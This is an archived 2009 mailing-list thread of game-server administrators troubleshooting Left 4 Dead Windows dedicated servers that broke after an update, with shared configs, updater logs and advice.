>> To: Half-Life dedicated Win32 server mailing list
>> Subject: [hlds] error: reliable channel overflowed
>>
>> hello,
>>
>> often, my client (users) are disconnected from server and show this
>> errors
>> (in steam window):
>>
>> *Reliable channel overflowed* (and nothing more in console)
>>
>> i search in google, but the results dont help me..
>>
>> how i solve this problem? :/
>> --
>> rody
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Re: [hlds] L4D dedicated server still lan only help?

2009-04-22 Thread Lane Eckley
Hi,

I don't think your config is the issue, as the errors you are getting look
like there is something wrong with your server files rather than with your
server.cfg.

You can try the simple cfg here:
http://gamerslifeline.com/left-4-dead-server-config-file-server-cfg-t3297.ht
ml

You will most likely find, if you remove your config all together, it will
still crash. At this point a fresh vanilla install would be my suggestion,
make sure it works and then add back your files.

-Lane


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of chris bernard
Sent: Wednesday, April 22, 2009 12:55 PM
To: hlds@list.valvesoftware.com
Subject: Re: [hlds] L4D dedicated server still lan only help?


Thanks for the suggestion!  I just made the suggested changes and re-ran the
update tool.  Still getting the same error starting the server.  

"loading : srcds.exe - Entry Point Not Found"
 The procedure entry point g_pMenAlloc could not be located in the dynamic
link library tier0_s.dll"

You said my config needs work, suggestions?

> Date: Wed, 22 Apr 2009 12:42:10 -0400
> From: richard@gmail.com
> To: hlds@list.valvesoftware.com
> Subject: Re: [hlds] L4D dedicated server still lan only help?
> 
> Your config needs a lot of work, but I guess that's not the point of this
> thread.  First off, remove -password from the update line.  It's not been
> needed for a long time now.  Second, add -verify_all in place of it.  It
> looks like you're fully updated, but there may be a file consistency
problem
> somewhere in your directory.
> 
> -Richard Eid
> 
> 
> On Wed, Apr 22, 2009 at 12:25 PM, chris bernard
wrote:
> 
> >
> > Even after the 2nd update I still can't get my L4D windows server
> > working...
> >
> > When launching the server I'm still getting an error:
> >
> > "loading : srcds.exe - Entry Point Not Found"
> > The procedure entry point g_pMenAlloc could not be located in the
dynamic
> > link library tier0_s.dll"
> >
> > After clicking ok the GUI will finished loading and I can click through
the
> > tabs fine but if I type "status" under the console tab the server
> > crashes
> >
> > Below is the log after running the update again this morning to make
sure
> > my server had all the updates:
> >
> >
> > C:\>cd srcds
> >
> > C:\srcds>hldsupdatetool -command update -game "l4d_full" -dir
c:\srcds\l4d
> > -pass
> > word **
> > Checking bootstrapper version ...
> > Updating Installation
> > Checking/Installing 'Left 4 Dead binaries' version 15
> >
> >
> > Checking/Installing 'Left 4 Dead base' version 14
> >
> >
> > Checking/Installing 'left4dead win32 dedicated server' version 12
> >
> >
> > HLDS installation up to date
> >
> >
> > here is my command line:
> > C:\srcds\l4d\l4d\srcds.exe -autoupdate -game left4dead +ip
***.***.***.***
> > -port *
> >
> > And my server.cfg
> >
> > hostname ">TNA< L4D"
> > sv_search_key "*"
> > maxplayers 8
> > motd_enabled 0
> >
> > // Steam group
> >
> > //sv_steamgroup 151826
> > //sv_steamgroup_exclusive 1
> > //sv_tags TTSOM, Unity
> >
> > // Rcon Cvars
> > rcon_password **
> >
> > // Server Cvars
> > mp_disable_autokick 1 //Prevents a userid from being auto-kicked
> > //sv_allow_color_correction 0 //Allow or disallow clients to use color
> > correction on this server.
> > sv_allow_wait_command 0 //Allow or disallow the wait command on clients
> > connected to this server.
> > sv_alltalk 0 //Players can hear all other players, no team restrictions
> > sv_alternateticks 0 //If set, server only simulates entities on even
> > numbered ticks.
> > sv_allow_lobby_connect_only 0
> >
> > //sv_cheats 0 //Allow cheats on server
> > sv_clearhinthistory 0 //Clear memory of server side hints displayed to
the
> > player.
> > sv_consistency 1 //Whether the server enforces file consistency for
> > critical files
> > sv_contact 
> >
> > //sv_downloadurl //Location from which clients can download missing
files
> >
> > // Lan or internet play, Server region cvars
> > sv_lan 0 //Server is a lan server ( no heartbeat, no authentication, no
> > non-class C addresses )
> > sv_region 0 // Region Codes: 0 - US East coast, 1 - US West coast, 2 -
> > South America, 3 - Europe, 4 - Asia, 5 - Australia, 6 - Middle East, 7 -
> > Africa, 255 - world
> >
> > // Server Logging
> > sv_log_onefile 0 //Log server information to only one file.
> > sv_logbans 1 //Log server bans in the server logs.
> > sv_logecho 0 //Echo log information to the console.
> > sv_logfile 1 //Log server information in the log file.
> > sv_logflush 0 //Flush the log file to disk on each write (slow).
> > sv_logsdir logs //Folder in the game directory where server logs will be
> > stored.
> >
> > //Server Rates
> > sv_maxcmdrate 100 //(If sv_mincmdrate is > 0), this sets the maximum
value
> > for cl_cmdrate.
> > //sv_unlag 1
> > //sv_maxunlag .5
> >
> > //Fix to get your server onto the master l

Re: [hlds] L4D dedicated server still lan only help?

2009-04-22 Thread Lane Eckley
Hi,

Add -verify_all to the end of your target line on the updater and run it
again.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of chris bernard
Sent: Wednesday, April 22, 2009 12:48 PM
To: hlds@list.valvesoftware.com
Subject: Re: [hlds] L4D dedicated server still lan only help?


Removed the setmasters, still get the same error starting the server:

"loading : srcds.exe - Entry Point Not Found"
 The procedure entry point g_pMenAlloc could not be located in the dynamic
link library tier0_s.dll"

Typing "status" in the console crashes the server..

Ran the updater again.  Here is the log:

C:\Documents and Settings\***\Desktop>cd\

C:\>cd srcds

C:\srcds>hldsupdatetool -command update -game "l4d_full" -dir c:\srcds\l4d
-pass
word 
Checking bootstrapper version ...
Updating Installation
Checking/Installing 'Left 4 Dead binaries' version 15


Checking/Installing 'Left 4 Dead base' version 14


Checking/Installing 'left4dead win32 dedicated server' version 12


HLDS installation up to date

C:\srcds>pause
Press any key to continue . . .

> Date: Wed, 22 Apr 2009 17:37:47 +0100
> From: b...@hairy-arse.com
> To: hlds@list.valvesoftware.com
> Subject: Re: [hlds] L4D  dedicated server still lan only help?
> 
> Tried removing the setmasters?
> 
> chris bernard wrote:
> > Even after the 2nd update I still can't get my L4D windows server
working...
> >
> > When launching the server I'm still getting an error:
> >
> > "loading : srcds.exe - Entry Point Not Found"
> > The procedure entry point g_pMenAlloc could not be located in the
dynamic link library tier0_s.dll"
> >
> > After clicking ok the GUI will finished loading and I can click through
the tabs fine but if I type "status" under the console tab the server
crashes
> >
> > Below is the log after running the update again this morning to make
sure my server had all the updates:
> >
> >
> > C:\>cd srcds
> >
> > C:\srcds>hldsupdatetool -command update -game "l4d_full" -dir
c:\srcds\l4d -pass
> > word **
> > Checking bootstrapper version ...
> > Updating Installation
> > Checking/Installing 'Left 4 Dead binaries' version 15
> >
> >
> > Checking/Installing 'Left 4 Dead base' version 14
> >
> >
> > Checking/Installing 'left4dead win32 dedicated server' version 12
> >
> >
> > HLDS installation up to date
> >
> >
> > here is my command line:
> > C:\srcds\l4d\l4d\srcds.exe -autoupdate -game left4dead +ip
***.***.***.*** -port *
> >
> > And my server.cfg
> >
> > hostname ">TNA< L4D"
> > sv_search_key "*"
> > maxplayers 8
> > motd_enabled 0
> >
> > // Steam group
> >
> > //sv_steamgroup 151826
> > //sv_steamgroup_exclusive 1
> > //sv_tags TTSOM, Unity
> >
> > // Rcon Cvars
> > rcon_password **
> >
> > // Server Cvars
> > mp_disable_autokick 1 //Prevents a userid from being auto-kicked
> > //sv_allow_color_correction 0 //Allow or disallow clients to use color
correction on this server.
> > sv_allow_wait_command 0 //Allow or disallow the wait command on clients
connected to this server.
> > sv_alltalk 0 //Players can hear all other players, no team restrictions
> > sv_alternateticks 0 //If set, server only simulates entities on even
numbered ticks.
> > sv_allow_lobby_connect_only 0
> >
> > //sv_cheats 0 //Allow cheats on server
> > sv_clearhinthistory 0 //Clear memory of server side hints displayed to
the player.
> > sv_consistency 1 //Whether the server enforces file consistency for
critical files
> > sv_contact  
> >
> > //sv_downloadurl //Location from which clients can download missing
files
> >
> > // Lan or internet play, Server region cvars
> > sv_lan 0 //Server is a lan server ( no heartbeat, no authentication, no
non-class C addresses )
> > sv_region 0 // Region Codes: 0 - US East coast, 1 - US West coast, 2 -
South America, 3 - Europe, 4 - Asia, 5 - Australia, 6 - Middle East, 7 -
Africa, 255 - world
> >
> > // Server Logging
> > sv_log_onefile 0 //Log server information to only one file.
> > sv_logbans 1 //Log server bans in the server logs.
> > sv_logecho 0 //Echo log information to the console.
> > sv_logfile 1 //Log server information in the log file.
> > sv_logflush 0 //Flush the log file to disk on each write (slow).
> > sv_logsdir logs //Folder in the game directory where server logs will be
stored.
> >
> > //Server Rates
> > sv_maxcmdrate 100 //(If sv_mincmdrate is > 0), this sets the maximum
value for cl_cmdrate.
> > //sv_unlag 1
> > //sv_maxunlag .5
> >
> > //Fix to get your server onto the master lists
> > setmaster add 68.142.72.250:27011
> > setmaster add 72.165.61.189:27011
> >
> >
> > Using this same server.cfg and launching the game from my local machine
(windows) with this command line:
> >
> > "C:\Program Files\Steam\steamapps\common\left 4 dead\srcds.exe"
> >
> > This local server works fine and using sv_search_key I can connect to
it.
> >
> > I even reinstalled to a new folder to test a clean install, just added
my server.cf

Re: [hlds] hlds Digest, Vol 14, Issue 72

2009-04-21 Thread Lane Eckley
Hi Brian,

I sure did miss it, got it now though!

Lane Eckley
Hypernia Hosting Corp
Tel: 800.622.7132
www.hypernia.com
l...@hypernia.com 


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of
hlds-requ...@list.valvesoftware.com
Sent: Tuesday, April 21, 2009 9:12 PM
To: hlds@list.valvesoftware.com
Subject: hlds Digest, Vol 14, Issue 72

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Today's Topics:

   1. Re: hlds Digest, Vol 14, Issue 70 (Brian Farrell)


--

Message: 1
Date: Tue, 21 Apr 2009 21:11:35 -0500
From: "Brian Farrell" 
Subject: Re: [hlds] hlds Digest, Vol 14, Issue 70
To: "Half-Life dedicated Win32 server mailing list"

Message-ID: <02b501c9c2ef$ab41d380$0c02a...@bfarrell>
Content-Type: text/plain; format=flowed; charset="iso-8859-1";
reply-type=original

Patch came out about 10 minutes ago Lane, not sure if you overlooked it or 
not. Appears to be working as well :)

--
Brian Farrell
Velocity Servers Inc.
bfarr...@velocity-servers.net
O: 800-518-9716 ext 102
M: 716-861-2235

- Original Message - 
From: "Lane Eckley" 
To: 
Sent: Tuesday, April 21, 2009 8:08 PM
Subject: Re: [hlds] hlds Digest, Vol 14, Issue 70


> Hi Guys,
>
> They are indeed broken on windows, however not on linux. Until Valve
> releases a new patch or lets us in on the secret to get it working, there 
> is
> nothing you will be able to do to get them up and running.
>
> They will not work straight out of the box, vanilla, with no CFG at all. 
> So
> an error in the server.cfg is highly unlikely, unless there is something 
> new
> that is required, but I highly doubt it.
>
> So for now, we have to run on Linux or wait till Valve fixes everything 
> up.
>
> Lane Eckley
> Hypernia Hosting Corp
> Tel: 800.622.7132
> www.hypernia.com
> l...@hypernia.com
>
>
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of
> hlds-requ...@list.valvesoftware.com
> Sent: Tuesday, April 21, 2009 8:54 PM
> To: hlds@list.valvesoftware.com
> Subject: hlds Digest, Vol 14, Issue 70
>
> Send hlds mailing list submissions to
> hlds@list.valvesoftware.com
>
> To subscribe or unsubscribe via the World Wide Web, visit
> http://list.valvesoftware.com/mailman/listinfo/hlds
> or, via email, send a message with subject or body 'help' to
> hlds-requ...@list.valvesoftware.com
>
> You can reach the person managing the list at
> hlds-ow...@list.valvesoftware.com
>
> When replying, please edit your Subject line so it is more specific
> than "Re: Contents of hlds digest..."
>
>
> Today's Topics:
>
>   1. Re: Left 4 Dead Update Released (Matthew Gottlieb)
>   2. Left 4 Dead Update Released (Jason Ruymen)
>   3. Re: Left 4 Dead Update Released (David Kellaway)
>   4. Re: Left 4 Dead Update Released (Kim Olesen Baarsch)
>
>
> --
>
> Message: 1
> Date: Tue, 21 Apr 2009 19:46:51 -0500
> From: Matthew Gottlieb 
> Subject: Re: [hlds] Left 4 Dead Update Released
> To: Half-Life dedicated Win32 server mailing list
> 
> Message-ID:
> <2993bd1f0904211746s6999b73bjb84e6c965daf8...@mail.gmail.com>
> Content-Type: text/plain; charset=ISO-8859-1
>
> Listen servers seem to be working, so windows servers shouldn't have
> problems.  Check your mods and configs?
>
> On Tue, Apr 21, 2009 at 8:11 PM, Brian Farrell
>  wrote:
>> Valve, any ETA on a fix?
>>
>> --
>> Brian Farrell
>> Velocity Servers Inc.
>> bfarr...@velocity-servers.net
>> O: 800-518-9716 ext 102
>> M: 716-861-2235
>>
>> - Original Message -
>> From: "Drew LaPour" 
>> To: "Half-Life dedicated Win32 server mailing list"
>> 
>> Sent: Tuesday, April 21, 2009 7:04 PM
>> Subject: Re: [hlds] Left 4 Dead Update Released
>>
>>
>>> Also i can Verify that "status" crashes the server.
>>>
>>> On Tue, Apr 21, 2009 at 6:57 PM, Drew LaPour 
>>> wrote:
>>>
>>>> I'm getting th

Re: [hlds] hlds Digest, Vol 14, Issue 70

2009-04-21 Thread Lane Eckley
Hi Guys,

They are indeed broken on windows, however not on linux. Until Valve
releases a new patch or lets us in on the secret to get it working, there is
nothing you will be able to do to get them up and running.

They will not work straight out of the box, vanilla, with no CFG at all. So
an error in the server.cfg is highly unlikely, unless there is something new
that is required, but I highly doubt it.

So for now, we have to run on Linux or wait till Valve fixes everything up.

Lane Eckley
Hypernia Hosting Corp
Tel: 800.622.7132
www.hypernia.com
l...@hypernia.com 


-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of
hlds-requ...@list.valvesoftware.com
Sent: Tuesday, April 21, 2009 8:54 PM
To: hlds@list.valvesoftware.com
Subject: hlds Digest, Vol 14, Issue 70

Send hlds mailing list submissions to
hlds@list.valvesoftware.com

To subscribe or unsubscribe via the World Wide Web, visit
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When replying, please edit your Subject line so it is more specific
than "Re: Contents of hlds digest..."


Today's Topics:

   1. Re: Left 4 Dead Update Released (Matthew Gottlieb)
   2. Left 4 Dead Update Released (Jason Ruymen)
   3. Re: Left 4 Dead Update Released (David Kellaway)
   4. Re: Left 4 Dead Update Released (Kim Olesen Baarsch)


--

Message: 1
Date: Tue, 21 Apr 2009 19:46:51 -0500
From: Matthew Gottlieb 
Subject: Re: [hlds] Left 4 Dead Update Released
To: Half-Life dedicated Win32 server mailing list

Message-ID:
<2993bd1f0904211746s6999b73bjb84e6c965daf8...@mail.gmail.com>
Content-Type: text/plain; charset=ISO-8859-1

Listen servers seem to be working, so windows servers shouldn't have
problems.  Check your mods and configs?

On Tue, Apr 21, 2009 at 8:11 PM, Brian Farrell
 wrote:
> Valve, any ETA on a fix?
>
> --
> Brian Farrell
> Velocity Servers Inc.
> bfarr...@velocity-servers.net
> O: 800-518-9716 ext 102
> M: 716-861-2235
>
> - Original Message -
> From: "Drew LaPour" 
> To: "Half-Life dedicated Win32 server mailing list"
> 
> Sent: Tuesday, April 21, 2009 7:04 PM
> Subject: Re: [hlds] Left 4 Dead Update Released
>
>
>> Also i can Verify that "status" crashes the server.
>>
>> On Tue, Apr 21, 2009 at 6:57 PM, Drew LaPour 
>> wrote:
>>
>>> I'm getting the same thing on my servers.
>>>
>>> 
>>> * ?Unable to load Steam support library. ? ? ? *
>>> * ?This server will operate in LAN mode only. ?*
>>> 
>>>
>>> Before this i also get - "The procedure entry point ThreadShellExecute
>>> could not be located in the dynamic link library tier0_s.dll."
>>>
>>>
>>>
>>> On Tue, Apr 21, 2009 at 6:40 PM, msleeper 
wrote:
>>>
>>>> I assume it's a plugin, I haven't had any of my servers do that to
>>>> people. I did have a problem with people connecting to the server not
>>>> via Lobby and they were playing a Coop game with Survival mode set. But
>>>> that's not the same problem you're having, and I fixed it by setting
the
>>>> startup map to Lighthouse.
>>>>
>>>>
>>>> On Tue, 2009-04-21 at 16:32 -0700, Brent Veal wrote:
>>>> > People in the lobby want to play Survival mode on the lighthouse map.
>>>> But
>>>> > when they connect to the server they end up on No Mercy Co-op. If no
>>>> > one
>>>> > else has the issue, then I'm guessing that it's maybe a conflict with
>>>> > a
>>>> > plugin I have. I'll try turning all of them off and testing it then.
>>>> >
>>>> >
>>>> >
>>>> > On Tue, Apr 21, 2009 at 4:26 PM, msleeper 
>>>> wrote:
>>>> >
>>>> > > I guess I misunderstood what you were trying to do then. Care to
>>>> explain
>>>> > > more about your setup and what is going wrong?
>>>> > >
>>>> > >
>>>> > > On Tue, 2009-04-21 at 16:23 -0700, Brent Veal wrote:
>>>> > > > wont that affect the ability to play VS and Co-op on the server?
>>>> > > >
>>>>

Re: [hlds] hlds Digest, Vol 14, Issue 68

2009-04-21 Thread Lane Eckley
Hi Guys,

The issue remains the same with a fresh install, so you need not try to
trouble shoot the MODs you are running.

-Lane

-Original Message-
From: hlds-boun...@list.valvesoftware.com
[mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of
hlds-requ...@list.valvesoftware.com
Sent: Tuesday, April 21, 2009 8:11 PM
To: hlds@list.valvesoftware.com
Subject: hlds Digest, Vol 14, Issue 68

Send hlds mailing list submissions to
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When replying, please edit your Subject line so it is more specific
than "Re: Contents of hlds digest..."


Today's Topics:

   1. Re: Left 4 Dead Update Released (FergoFrog)
   2. Re: Left 4 Dead Update Released (Brian Farrell)


--

Message: 1
Date: Wed, 22 Apr 2009 10:08:12 +1000
From: FergoFrog 
Subject: Re: [hlds] Left 4 Dead Update Released
To: Half-Life dedicated Win32 server mailing list

Message-ID: <49ee5fec.2040...@fergofrog.com>
Content-Type: text/plain; charset=ISO-8859-1; format=flowed

I am receiving the same problem, I have disabled MetaMod Source  (and 
obviously SourceMod), status also crashes my server. This is only 
happening on my Windows Server 2003 server and not my Linux server.

Good luck with the fix, hope it comes soon,

FergoFrog


Drew LaPour wrote:
> Also i can Verify that "status" crashes the server.
>
> On Tue, Apr 21, 2009 at 6:57 PM, Drew LaPour 
wrote:
>
>   
>> I'm getting the same thing on my servers.
>>
>> 
>> *  Unable to load Steam support library.   *
>> *  This server will operate in LAN mode only.  *
>> 
>>
>> Before this i also get - "The procedure entry point ThreadShellExecute
>> could not be located in the dynamic link library tier0_s.dll."
>>
>>
>>
>> On Tue, Apr 21, 2009 at 6:40 PM, msleeper  wrote:
>>
>> 
>>> I assume it's a plugin, I haven't had any of my servers do that to
>>> people. I did have a problem with people connecting to the server not
>>> via Lobby and they were playing a Coop game with Survival mode set. But
>>> that's not the same problem you're having, and I fixed it by setting the
>>> startup map to Lighthouse.
>>>
>>>
>>> On Tue, 2009-04-21 at 16:32 -0700, Brent Veal wrote:
>>>   
 People in the lobby want to play Survival mode on the lighthouse map.
 
>>> But
>>>   
 when they connect to the server they end up on No Mercy Co-op. If no
one
 else has the issue, then I'm guessing that it's maybe a conflict with a
 plugin I have. I'll try turning all of them off and testing it then.



 On Tue, Apr 21, 2009 at 4:26 PM, msleeper 
 
>>> wrote:
>>>   
> I guess I misunderstood what you were trying to do then. Care to
>   
>>> explain
>>>   
> more about your setup and what is going wrong?
>
>
> On Tue, 2009-04-21 at 16:23 -0700, Brent Veal wrote:
>   
>> wont that affect the ability to play VS and Co-op on the server?
>>
>>
>> On Tue, Apr 21, 2009 at 4:19 PM, msleeper 
>> 
> wrote:
>   
>>> Put this in your autoexec.cfg and restart the server. Works like a
>>>   
> charm
>   
>>> for me:
>>>
>>>
>>> sv_gametypes "survival"
>>> mp_gamemode "survival"
>>>
>>>
>>> On Tue, 2009-04-21 at 15:58 -0700, Brent Veal wrote:
>>>   
 When people join my linux server through the lobby, they're
 
>>> being
>>>   
> taken
>   
>>> to
>>>   
 No Mercy Co-Op instead of the Lighthouse Survival mode. No one
 
>>> can
>>>   
> join
>   
>>> my
>>>   
 Windows server at all


 On Tue, Apr 21, 2009 at 3:50 PM, turb0z 
 
> wrote:
>   
> Hey Valve, can we get an update on when us Windows folks will
>   
>>> get a
>>>   
>>> patch
>>>   
> to
> fix this?
>
> -Original Message-
> From: hlds-boun...@list.valvesoftware.com
> [mailto:hlds-boun...@list.valvesoftware.com] On Behalf Of
>   
>>> msleeper
>>>   
> Sent: Tuesday, April 21, 2009 5:45 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Left 4 Dead Update Released
>
> 21 servers here on Linux, all fine and da